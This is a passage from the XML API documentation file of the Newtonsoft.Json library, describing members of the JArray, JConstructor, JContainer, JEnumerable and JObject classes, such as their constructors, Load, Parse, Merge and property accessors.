cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Int32)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the specified index.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.IndexOf(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines the index of a specific item in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            The index of <paramref name=\"item\"/> if found in the list; otherwise, -1.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Insert(System.Int32,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Inserts an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index at which <paramref name=\"item\"/> should be inserted.</param>\n            <param name=\"item\">The object to insert into the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.RemoveAt(System.Int32)\">\n            <summary>\n            Removes the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> item at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index of the item to remove.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.GetEnumerator\">\n            <summary>\n            Returns an enumerator that iterates through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Add(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to add to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Clear\">\n            <summary>\n            Removes all items from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Contains(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> contains a specific value.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> is found in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.CopyTo(Newtonsoft.Json.Linq.JToken[],System.Int32)\">\n            <summary>\n            Copies the elements of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> to an array, starting at a particular array index.\n            </summary>\n            <param name=\"array\">The array.</param>\n            <param name=\"arrayIndex\">Index of the array.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.IsReadOnly\">\n            <summary>\n            Gets a value indicating whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only.\n            </summary>\n            <returns><c>true</c> if the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Remove(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Removes the first occurrence of a specific object from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to remove from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> was successfully removed from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>. This method also returns <c>false</c> if <paramref name=\"item\"/> is not found in the original <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JConstructor\">\n            <summary>\n            Represents a JSON constructor.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Name\">\n            <summary>\n            Gets or sets the name of this constructor.\n            </summary>\n            <value>The constructor name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(Newtonsoft.Json.Linq.JConstructor)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JContainer\">\n            <summary>\n            Represents a token that can contain other tokens.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.ListChanged\">\n            <summary>\n            Occurs when the list changes or an item in the list changes.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.AddingNew\">\n            <summary>\n            Occurs before an item is added to the collection.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnAddingNew(System.ComponentModel.AddingNewEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.AddingNew\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.ComponentModel.AddingNewEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnListChanged(System.ComponentModel.ListChangedEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.ListChanged\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.ComponentModel.ListChangedEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>\n            An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Descendants\">\n            <summary>\n            Returns a collection of the descendant tokens for this token in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.DescendantsAndSelf\">\n            <summary>\n            Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing this token, and all the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Add(System.Object)\">\n            <summary>\n            Adds the specified content as children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.AddFirst(System.Object)\">\n            <summary>\n            Adds the specified content as the first children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.CreateWriter\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that can be used to add tokens to the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that is ready to have content written to it.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.ReplaceAll(System.Object)\">\n            <summary>\n            Replaces the child nodes of this token with the specified content.\n            </summary>\n            <param name=\"content\">The content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.RemoveAll\">\n            <summary>\n            Removes the child nodes from this token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object,Newtonsoft.Json.Linq.JsonMergeSettings)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> used to merge the content.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Count\">\n            <summary>\n            Gets the count of child JSON tokens.\n            </summary>\n            <value>The count of child JSON tokens.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JEnumerable`1.Empty\">\n            <summary>\n            An empty collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.#ctor(System.Collections.Generic.IEnumerable{`0})\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> struct.\n            </summary>\n            <param name=\"enumerable\">The enumerable.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(Newtonsoft.Json.Linq.JEnumerable{`0})\">\n            <summary>\n            Determines whether the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance.\n            </summary>\n            <param name=\"other\">The <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to this instance.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetHashCode\">\n            <summary>\n            Returns a hash code for this instance.\n            </summary>\n            <returns>\n            A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. \n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JObject\">\n            <summary>\n            Represents a JSON object.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\">\n            <summary>\n            Occurs when a property value changes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(Newtonsoft.Json.Linq.JObject)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Properties\">\n            <summary>\n            Gets an <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            The exact name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> matched with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.PropertyValues\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.String)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,System.StringComparison,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Add(System.String,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.ContainsKey(System.String)\">\n            <summary>\n            Determines whether the JSON object has the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if the JSON object has the specified property name; 